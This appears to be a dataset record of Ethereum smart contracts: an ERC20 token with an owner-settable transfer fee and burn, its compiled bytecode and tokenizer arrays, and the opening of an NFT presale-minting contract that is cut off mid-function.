{IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract craryNFT is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("2craryNFT", "2craryNFT") { minSupply = 100000000 ether; uint256 totalSupply = 500000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea2646970667358221220a6e8a1a2911ba6aebaf6191b5b2fb9d1dc94230a96c3a1fdbd4801a92253261264736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 2094, 12521, 20958, 29097, 28311, 21486, 2063, 26224, 2620, 2497, 2620, 2497, 2620, 2509, 3676, 2620, 23833, 2581, 2509, 19797, 2050, 23833, 19841, 2549, 8586, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 4769, 2270, 3818, 12384, 2121, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,621
0x956d5f89Fa336251162dd88A1d9604E06E5B382F
import "./ERC721.sol"; import "./SafeMath.sol"; import "./AccessControl.sol"; //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @title Dragons of Zobrotera contract * @dev Extends ERC721 Non-Fungible Token Standard implementation */ contract DOZ is AccessControl, ERC721{ using SafeMath for uint256; // White listed role bytes32 private constant whiteListedRole = keccak256("whitelisted"); // Max mint per transaction uint public constant maxNftPurchase = 40; // Mapping from address to number of mint during presale mapping(address => uint256) private presaleAllowedMint; // Mapping from address to number of mint during presale mapping(address => uint256) private presaled; // Tokens total count uint256 private count = 0; // Test tokens total count uint256 private testCount = 1 * (10 ** 10); // NFT price uint256 private nftPrice = 0.55 * (10 ** 18); // Reserved number of giveaway uint256 private numberOfGiveaways = 100; // Maximum number of nft that can be minted uint256 private maxSupply = 10000; // Maximum max supply during presale uint256 private maxSupplyAtPresaleEnd = 400; // Status of the official sale bool private saleIsActive = false; // Status of the presale bool private presaleIsActive = false; // Event emitted when a token as been minted safly event SafeMinted(address who, uint256 timestamp, uint256[] tokenIds, bool isTestMint); // Event emitted when a token as been minted safly througt a giveaway event GiveawaySafeMinted(address[] winners); // Event emitted for the surprise event CholroneSafeMinted(address who); /** Initialize and setup the admin role for the owner */ constructor() ERC721("Dragons of Zobrotera", "DOZ") { _setRoleAdmin(whiteListedRole, DEFAULT_ADMIN_ROLE); _setupRole(getRoleAdmin(whiteListedRole), msg.sender); } function internalMint(address to, uint256 numberOfToken) private { uint256[] memory output = new uint256[](numberOfToken); for(uint32 i = 0; i < numberOfToken; i++){ uint mintIndex = totalSupply(); _safeMint(to, mintIndex); output[i] = mintIndex; count += 1; } emit SafeMinted(to, block.timestamp, output, false); } /** Update the number of reserved giveaway @param _numberOfGiveaway the new number of reserved giveaway */ function reserveGiveaways(uint256 _numberOfGiveaway) public onlyOwner { numberOfGiveaways = _numberOfGiveaway; } /** Withdraw ether from the contract to the owner's wallet */ function withdraw() public onlyOwner { uint balance = address(this).balance; payable(owner()).transfer(balance); } /** Add new white listed addresses Used to identify the presale authorized wallets @param addresses the new addresses to add to the white list */ function whitelistAddressesForPresale(address[] memory addresses, uint256 allowedMint) public onlyOwner{ for(uint32 i = 0; i < addresses.length; i++){ grantRole(whiteListedRole, addresses[i]); presaleAllowedMint[addresses[i]] = allowedMint; } } /** Airdrop giveaway into the winners wallets @param winners the winners addresses list */ function airdropGiveaways(address[] memory winners) public onlyOwner { require(totalSupply().add(winners.length) <= maxSupply, "Airdrop would exceed max supply of Nfts"); for(uint32 i = 0; i < winners.length; i++){ internalMint(winners[i], 1); } } /** Toggle the official sale state */ function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } /** Toggle the official sale state */ function flipPresaleState() public onlyOwner { presaleIsActive = !presaleIsActive; } /** Update the total max supply @param newMaxSupply the new max supply */ function updateMaxSupply(uint256 newMaxSupply) public onlyOwner { require(newMaxSupply >= count); maxSupply = newMaxSupply; } /** Update the total max supply @param newMaxSupply the new max supply */ function updatePresaleMaxSupply(uint256 newMaxSupply) public onlyOwner { require(newMaxSupply >= count); maxSupplyAtPresaleEnd = newMaxSupply; } /** Mint a nft during the presale */ function mintNftOnPresale(uint64 numberOfToken) public payable onlyRole(whiteListedRole) { require(presaleIsActive, "Preale must be active to mint Nft"); require(!saleIsActive, "Presale as 